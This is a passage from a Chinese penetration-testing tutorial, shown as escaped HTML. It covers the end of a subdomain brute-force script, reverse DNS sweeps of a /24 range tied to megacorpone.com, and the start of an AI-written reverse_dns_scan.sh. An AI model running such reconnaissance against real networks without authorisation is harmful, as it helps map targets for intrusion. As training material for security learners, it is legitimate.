&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;197&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 创建表格顶部&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;198&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;┌─%s─┬─%s─┐\n&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%*s&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$max_sub_len&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;199&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%*s&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$max_ip_len&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;200&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;201&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 表格标题&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;202&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;│ %-&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;max_sub_len&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;s │ %-&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;max_ip_len&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;s │\n&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Subdomain&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;IP Address&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;203&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;├─%s─┼─%s─┤\n&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%*s&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$max_sub_len&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;204&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%*s&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$max_ip_len&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;205&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;206&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 表格内容&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;207&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -r line&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;208&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;subdomain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $1}&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;209&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $4}&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;210&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;211&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 截断超长字段&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;212&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;subdomain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;subdomain&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;60&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;213&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;15&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;214&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;215&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;│ %-&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;max_sub_len&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;s │ %-&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;max_ip_len&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;s │\n&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$subdomain&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$ip&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;216&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$RESULT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;217&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;218&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 表格底部&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;219&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;└─%s─┴─%s─┘\n&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%*s&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$max_sub_len&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;220&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%*s&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$max_ip_len&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;221&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;222&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;223&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;224&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 保存原始输出&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;225&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -s &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$RESULT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;226&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;LOG_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;CSV_OUTPUT&lt;/span&gt;&lt;span class="p"&gt;%.csv&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.log&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;227&lt;/span&gt;&lt;span class="cl"&gt; cp &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$RESULT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$LOG_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;228&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;229&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;LOG_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;230&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;231&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;232&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 输出统计信息&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;233&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;=============================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;234&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;扫描完成&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;235&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;结束时间: &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;236&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;总耗时: &lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;TOTAL_TIME &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="s2"&gt; 分钟 &lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;TOTAL_TIME &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="s2"&gt; 秒&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;237&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;共扫描: &lt;/span&gt;&lt;span class="nv"&gt;$COUNT&lt;/span&gt;&lt;span class="s2"&gt; 个子域名&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;238&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;发现: &lt;/span&gt;&lt;span class="nv"&gt;$FOUND&lt;/span&gt;&lt;span class="s2"&gt; 个活动子域名&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;239&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -n &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$LOG_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;240&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;原始输出: &lt;/span&gt;&lt;span class="nv"&gt;$LOG_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;241&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;242&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;CSV文件: &lt;/span&gt;&lt;span class="nv"&gt;$CSV_OUTPUT&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;243&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;=============================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;244&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;245&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 清理临时文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;246&lt;/span&gt;&lt;span class="cl"&gt;rm -f &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$RESULT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250704144157367" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704144157367.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704144212354" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704144212354.png"&gt;&lt;/p&gt;
&lt;h3 id="反向c段ip爆破"&gt;反向C段IP爆破
&lt;/h3&gt;&lt;p&gt;&lt;img alt="image-20250704144514878" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704144514878.png"&gt;&lt;/p&gt;
&lt;p&gt;从之前的扫描结果看，这个域名大多数解析到&lt;code&gt;167.114.21.x&lt;/code&gt;的C段IP地址，说明这个公司包揽了这个段上的大多数连续的服务器，用来承载业务，那么就有可能存在这个C段中，没有域名，或者说还没来得及挂上域名的测试站点，或者说一个公司某个部门、总部、第三方委托的服务器商之类的角色管理这些服务器，而&lt;code&gt;megacorpone.com&lt;/code&gt;这个域名只是他们子公司域名之一，可能还存在其他域名，只要是存在业务关系的，他们的服务器之间一定会存在业务关联，这时候就需要IP反向搜索爆破新域名。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; Cip in &lt;span class="k"&gt;$(&lt;/span&gt;seq &lt;span class="m"&gt;50&lt;/span&gt; 100&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; host 167.114.21.&lt;span class="nv"&gt;$Cip&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -v &lt;span class="s2"&gt;&amp;#34;not fou
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;nd&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; Cip in &lt;span class="k"&gt;$(&lt;/span&gt;seq &lt;span class="m"&gt;0&lt;/span&gt; 254&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; host 167.114.21.&lt;span class="nv"&gt;$Cip&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -v &lt;span class="s2"&gt;&amp;#34;not fou
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;nd&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250704145147425" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704145147425.png"&gt;&lt;/p&gt;
&lt;p&gt;同样的，我们用AI写一个小工具&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 脚本名称: reverse_dns_scan.sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 功能: 反向DNS扫描工具，支持进度显示、格式化表格和CSV导出&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 用法: ./reverse_dns_scan.sh 网络地址 起始IP 结束IP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 错误处理函数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;die&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;错误: &lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;用法: &lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;&lt;span class="s2"&gt; 网络地址 起始IP 结束IP&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查参数&lt;/span&gt;
